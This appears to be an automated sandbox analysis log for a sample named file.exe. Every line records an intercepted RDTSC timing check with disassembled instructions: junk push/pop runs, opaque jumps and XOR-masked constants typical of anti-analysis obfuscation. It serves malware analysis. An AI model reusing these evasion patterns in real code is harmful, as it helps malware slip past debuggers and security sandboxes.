Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A456 second address: 113A4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a jmp 00007FBF09325ABAh 0x0000000f pushad 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 jnl 00007FBF09325ADCh 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A4A8 second address: 113A4AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A4AD second address: 113A562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 or edi, 013CEBD2h 0x0000000f push 00000003h 0x00000011 jmp 00007FBF09325ABEh 0x00000016 push 00000000h 0x00000018 jmp 00007FBF09325AC7h 0x0000001d push 00000003h 0x0000001f jmp 00007FBF09325ABEh 0x00000024 movsx esi, bx 0x00000027 push 971AC9C5h 0x0000002c jmp 00007FBF09325AC1h 0x00000031 xor dword ptr [esp], 571AC9C5h 0x00000038 push 00000000h 0x0000003a push ecx 0x0000003b call 00007FBF09325AB8h 0x00000040 pop ecx 0x00000041 mov dword ptr [esp+04h], ecx 0x00000045 add dword ptr [esp+04h], 00000018h 0x0000004d inc ecx 0x0000004e push ecx 0x0000004f ret 0x00000050 pop ecx 0x00000051 ret 0x00000052 mov cx, B9B8h 0x00000056 sub dword ptr [ebp+122D1CBCh], eax 0x0000005c lea ebx, dword ptr [ebp+124502F6h] 0x00000062 jnl 00007FBF09325ABCh 0x00000068 or esi, dword ptr [ebp+122D28B5h] 0x0000006e push eax 0x0000006f pushad 0x00000070 jmp 00007FBF09325ABCh 0x00000075 push esi 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5A8 second address: 113A5DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FBF08D3334Eh 0x0000000e jg 00007FBF08D33348h 0x00000014 popad 0x00000015 nop 0x00000016 mov si, dx 0x00000019 push 00000000h 0x0000001b add dword ptr [ebp+122D2252h], ebx 0x00000021 push C425450Ch 0x00000026 push eax 0x00000027 push edx 0x00000028 push edi 0x00000029 pushad 0x0000002a popad 0x0000002b pop edi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A5DF second address: 113A5F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF09325AC0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A6D9 second address: 113A6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A6DD second address: 113A6EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A6EC second address: 113A704 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D33354h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A704 second address: 113A781 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 jp 00007FBF09325ACAh 0x0000000f lea ebx, dword ptr [ebp+124502FFh] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007FBF09325AB8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f call 00007FBF09325AC9h 0x00000034 mov dword ptr [ebp+122D1CAFh], eax 0x0000003a pop edx 0x0000003b movsx edi, si 0x0000003e push eax 0x0000003f jbe 00007FBF09325AC2h 0x00000045 jc 00007FBF09325ABCh 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A826 second address: 113A83B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FBF08D33346h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A83B second address: 113A83F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A83F second address: 113A851 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A851 second address: 113A855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A855 second address: 113A86E instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f je 00007FBF08D33354h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A86E second address: 113A872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A872 second address: 113A907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 add edi, dword ptr [ebp+122D2452h] 0x0000000d push 00000003h 0x0000000f mov si, 8740h 0x00000013 push 00000000h 0x00000015 mov ch, ah 0x00000017 push 00000003h 0x00000019 mov esi, edx 0x0000001b jmp 00007FBF08D33356h 0x00000020 push 8F144212h 0x00000025 jnc 00007FBF08D3335Ah 0x0000002b xor dword ptr [esp], 4F144212h 0x00000032 push 00000000h 0x00000034 push eax 0x00000035 call 00007FBF08D33348h 0x0000003a pop eax 0x0000003b mov dword ptr [esp+04h], eax 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc eax 0x00000048 push eax 0x00000049 ret 0x0000004a pop eax 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D24D7h], esi 0x00000052 lea ebx, dword ptr [ebp+1245030Ah] 0x00000058 mov di, 5B44h 0x0000005c xchg eax, ebx 0x0000005d push ebx 0x0000005e push eax 0x0000005f push edx 0x00000060 jg 00007FBF08D33346h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A907 second address: 113A92E instructions: 0x00000000 rdtsc 0x00000002 je 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FBF09325AC9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A92E second address: 113A938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FBF08D33346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114CAAB second address: 114CAAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B2D8 second address: 115B2DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B2DC second address: 115B319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBF09325AC0h 0x0000000e jmp 00007FBF09325AC8h 0x00000013 popad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115B319 second address: 115B31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299DF second address: 11299E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299E6 second address: 11299F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FBF08D33346h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11299F0 second address: 11299F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159289 second address: 115928D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115928D second address: 11592B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FBF09325AC1h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11596BD second address: 11596C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159820 second address: 115982E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599B2 second address: 11599B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599B8 second address: 11599BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599BE second address: 11599C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599C2 second address: 11599C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C35 second address: 1159C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C3E second address: 1159C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C44 second address: 1159C48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C48 second address: 1159C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C58 second address: 1159C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C5C second address: 1159C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FBF09325AC2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1159C6C second address: 1159C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0AC second address: 115A0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC9h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0CA second address: 115A0D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0D0 second address: 115A0D6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0D6 second address: 115A0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FBF08D33352h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0E4 second address: 115A0EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0EA second address: 115A0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A0F4 second address: 115A100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A100 second address: 115A10B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A10B second address: 115A10F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2A1 second address: 115A2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2A5 second address: 115A2A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2A9 second address: 115A2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBF08D33346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2B8 second address: 115A2D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325AC3h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2D7 second address: 115A2DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115A2DB second address: 115A2EB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151D8A second address: 1151D90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115AA4E second address: 115AA73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 jmp 00007FBF09325ABFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115CF93 second address: 115CF98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E8CE second address: 115E8D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E8D2 second address: 115E8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FBF08D3334Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E8F1 second address: 115E8F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115EA45 second address: 115EA5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166EE4 second address: 1166F04 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBF09325AB6h 0x00000008 jmp 00007FBF09325AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166F04 second address: 1166F14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166286 second address: 116629C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBF09325AB6h 0x0000000a jmp 00007FBF09325ABBh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116629C second address: 11662A1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11662A1 second address: 11662BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a jl 00007FBF09325AB6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jl 00007FBF09325AE9h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11662BF second address: 11662C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116670E second address: 1166712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166712 second address: 116672C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A0D second address: 1166A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A13 second address: 1166A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A19 second address: 1166A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FBF09325ABEh 0x0000000b jmp 00007FBF09325ABBh 0x00000010 jne 00007FBF09325AB6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166A3F second address: 1166AB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FBF08D33355h 0x0000000a je 00007FBF08D33346h 0x00000010 jmp 00007FBF08D33356h 0x00000015 popad 0x00000016 pushad 0x00000017 jmp 00007FBF08D3334Fh 0x0000001c jmp 00007FBF08D33358h 0x00000021 jns 00007FBF08D33346h 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FBF08D3334Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1166AB6 second address: 1166ABB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169218 second address: 116921D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116921D second address: 1169223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B76C second address: 116B77B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B8DC second address: 116B8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BC69 second address: 116BC6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BC6D second address: 116BC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BD16 second address: 116BD1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116BD1B second address: 116BD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FBF09325AC9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C3C1 second address: 116C3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C3C5 second address: 116C3CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C910 second address: 116C927 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007FBF08D33346h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jp 00007FBF08D33346h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116C927 second address: 116C930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CF15 second address: 116CF28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116CF28 second address: 116CF2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EA06 second address: 116EA0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116EA0B second address: 116EA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325ABEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FBF09325AB8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
